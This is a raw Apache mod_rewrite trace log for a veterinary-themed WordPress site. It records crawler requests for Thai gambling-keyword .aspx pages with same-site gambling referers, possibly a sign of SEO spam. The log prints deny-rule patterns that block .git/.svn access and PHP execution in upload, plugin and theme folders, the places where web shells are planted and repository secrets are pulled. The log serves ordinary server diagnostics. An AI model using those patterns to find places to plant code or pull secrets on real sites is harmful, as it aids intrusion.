[Mon Nov 10 18:40:42.674287 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 114.119.143.210:60241] 114.119.143.210 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5841993f0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx -> betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx, referer: https://vetstars.com.au/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx
[Mon Nov 10 18:40:42.674326 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 114.119.143.210:60241] 114.119.143.210 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5841993f0/initial] [perdir /home/vetstars/public_html/] applying pattern '.' to uri 'betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx', referer: https://vetstars.com.au/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx
[Mon Nov 10 18:40:42.674376 2025] [rewrite:trace4] [pid 10211:tid 10290] mod_rewrite.c(505): [client 114.119.143.210:60241] 114.119.143.210 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5841993f0/initial] [perdir /home/vetstars/public_html/] RewriteCond: input='/home/vetstars/public_html/betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx' pattern='!-f' => matched, referer: https://vetstars.com.au/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx
[Mon Nov 10 18:40:42.674408 2025] [rewrite:trace4] [pid 10211:tid 10290] mod_rewrite.c(505): [client 114.119.143.210:60241] 114.119.143.210 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5841993f0/initial] [perdir /home/vetstars/public_html/] RewriteCond: input='/home/vetstars/public_html/betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx' pattern='!-d' => matched, referer: https://vetstars.com.au/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx
[Mon Nov 10 18:40:42.674463 2025] [rewrite:trace2] [pid 10211:tid 10290] mod_rewrite.c(505): [client 114.119.143.210:60241] 114.119.143.210 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5841993f0/initial] [perdir /home/vetstars/public_html/] rewrite 'betflix \xe0\xb8\x97\xe0\xb8\xb2\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2.aspx' -> '/index.php', referer: https://vetstars.com.au/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx
[Mon Nov 10 18:40:42.674474 2025] [rewrite:trace2] [pid 10211:tid 10290] mod_rewrite.c(505): [client 114.119.143.210:60241] 114.119.143.210 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5841993f0/initial] [perdir /home/vetstars/public_html/] setting lastsub to rule with output /index.php, referer: https://vetstars.com.au/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx
[Mon Nov 10 18:40:42.674474 2025] [rewrite:trace2] [pid 10211:tid 10290] mod_rewrite.c(505): [client 114.119.143.210:60241] 114.119.143.210 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5841993f0/initial] [perdir /home/vetstars/public_html/] trying to replace prefix /home/vetstars/public_html/ with /, referer: https://vetstars.com.au/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx
[Mon Nov 10 18:40:42.674504 2025] [rewrite:trace2] [pid 10211:tid 10290] mod_rewrite.c(505): [client 114.119.143.210:60241] 114.119.143.210 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5841993f0/initial] [perdir /home/vetstars/public_html/] trying to replace context docroot /home/vetstars/public_html with context prefix , referer: https://vetstars.com.au/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx
[Mon Nov 10 18:40:42.674523 2025] [rewrite:trace1] [pid 10211:tid 10290] mod_rewrite.c(505): [client 114.119.143.210:60241] 114.119.143.210 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5841993f0/initial] [perdir /home/vetstars/public_html/] internal redirect with /index.php [INTERNAL REDIRECT], referer: https://vetstars.com.au/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx
[Mon Nov 10 18:40:59.650088 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5700c7960/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/ -> , referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650145 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5700c7960/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp-admin/install\\.php$' to uri '', referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650160 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5700c7960/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/ -> , referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650181 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5700c7960/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp-admin/includes/' to uri '', referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650191 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5700c7960/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/ -> , referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650200 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5700c7960/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp-includes/' to uri '', referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650210 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5700c7960/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/ -> , referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650219 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5700c7960/initial] [perdir /home/vetstars/public_html/] applying pattern '(^|.*/)\\.(git|svn)/.*' to uri '', referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650228 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5700c7960/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/ -> , referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650237 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5700c7960/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/uploads/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri '', referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650246 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5700c7960/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/ -> , referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650254 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5700c7960/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/plugins/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri '', referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650263 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5700c7960/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/ -> , referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650272 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5700c7960/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/themes/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri '', referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650281 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5700c7960/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/ -> , referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650338 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5700c7960/initial] [perdir /home/vetstars/public_html/] applying pattern '.*' to uri '', referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650363 2025] [rewrite:trace5] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5700c7960/initial] setting env variable 'HTTP_AUTHORIZATION' to '', referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650374 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5700c7960/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/ -> , referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650383 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5700c7960/initial] [perdir /home/vetstars/public_html/] applying pattern '^index\\.php$' to uri '', referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650392 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5700c7960/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/ -> , referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650400 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5700c7960/initial] [perdir /home/vetstars/public_html/] applying pattern '.' to uri '', referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650410 2025] [rewrite:trace1] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff5700c7960/initial] [perdir /home/vetstars/public_html/] pass through /home/vetstars/public_html/, referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650470 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff57000ff30/subreq] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/index.php -> index.php, referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650483 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff57000ff30/subreq] [perdir /home/vetstars/public_html/] applying pattern '^wp-admin/install\\.php$' to uri 'index.php', referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650493 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff57000ff30/subreq] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/index.php -> index.php, referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650521 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff57000ff30/subreq] [perdir /home/vetstars/public_html/] applying pattern '^wp-admin/includes/' to uri 'index.php', referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650534 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff57000ff30/subreq] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/index.php -> index.php, referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650542 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff57000ff30/subreq] [perdir /home/vetstars/public_html/] applying pattern '^wp-includes/' to uri 'index.php', referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650557 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff57000ff30/subreq] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/index.php -> index.php, referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650567 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff57000ff30/subreq] [perdir /home/vetstars/public_html/] applying pattern '(^|.*/)\\.(git|svn)/.*' to uri 'index.php', referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650576 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff57000ff30/subreq] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/index.php -> index.php, referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650584 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff57000ff30/subreq] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/uploads/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri 'index.php', referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650593 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff57000ff30/subreq] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/index.php -> index.php, referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650602 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff57000ff30/subreq] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/plugins/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri 'index.php', referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650611 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff57000ff30/subreq] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/index.php -> index.php, referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650619 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff57000ff30/subreq] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/themes/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri 'index.php', referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650628 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff57000ff30/subreq] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/index.php -> index.php, referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650637 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff57000ff30/subreq] [perdir /home/vetstars/public_html/] applying pattern '.*' to uri 'index.php', referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650647 2025] [rewrite:trace5] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff57000ff30/subreq] setting env variable 'HTTP_AUTHORIZATION' to '', referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650656 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff57000ff30/subreq] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/index.php -> index.php, referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650669 2025] [rewrite:trace3] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff57000ff30/subreq] [perdir /home/vetstars/public_html/] applying pattern '^index\\.php$' to uri 'index.php', referer: https://vetstars.com.au/
[Mon Nov 10 18:40:59.650679 2025] [rewrite:trace1] [pid 10211:tid 10290] mod_rewrite.c(505): [client 159.69.158.189:32708] 159.69.158.189 - - [vetstars.com.au/sid#3ebacc0][rid#7ff57000ff30/subreq] [perdir /home/vetstars/public_html/] pass through /home/vetstars/public_html/index.php, referer: https://vetstars.com.au/
[Mon Nov 10 18:43:28.888891 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 114.119.150.38:46887] 114.119.150.38 - - [vetstars.com.au/sid#3c0acc0][rid#7f38440526d0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx -> \xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx, referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx
[Mon Nov 10 18:43:28.888953 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 114.119.150.38:46887] 114.119.150.38 - - [vetstars.com.au/sid#3c0acc0][rid#7f38440526d0/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp-admin/install\\.php$' to uri '\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx', referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx
[Mon Nov 10 18:43:28.888967 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 114.119.150.38:46887] 114.119.150.38 - - [vetstars.com.au/sid#3c0acc0][rid#7f38440526d0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx -> \xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx, referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx
[Mon Nov 10 18:43:28.888979 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 114.119.150.38:46887] 114.119.150.38 - - [vetstars.com.au/sid#3c0acc0][rid#7f38440526d0/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp-admin/includes/' to uri '\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx', referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx
[Mon Nov 10 18:43:28.888990 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 114.119.150.38:46887] 114.119.150.38 - - [vetstars.com.au/sid#3c0acc0][rid#7f38440526d0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx -> \xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx, referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx
[Mon Nov 10 18:43:28.889021 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 114.119.150.38:46887] 114.119.150.38 - - [vetstars.com.au/sid#3c0acc0][rid#7f38440526d0/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp-includes/' to uri '\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx', referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx
[Mon Nov 10 18:43:28.889036 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 114.119.150.38:46887] 114.119.150.38 - - [vetstars.com.au/sid#3c0acc0][rid#7f38440526d0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx -> \xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx, referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx
[Mon Nov 10 18:43:28.889047 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 114.119.150.38:46887] 114.119.150.38 - - [vetstars.com.au/sid#3c0acc0][rid#7f38440526d0/initial] [perdir /home/vetstars/public_html/] applying pattern '(^|.*/)\\.(git|svn)/.*' to uri '\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx', referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx
[Mon Nov 10 18:43:28.889057 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 114.119.150.38:46887] 114.119.150.38 - - [vetstars.com.au/sid#3c0acc0][rid#7f38440526d0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx -> \xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx, referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx
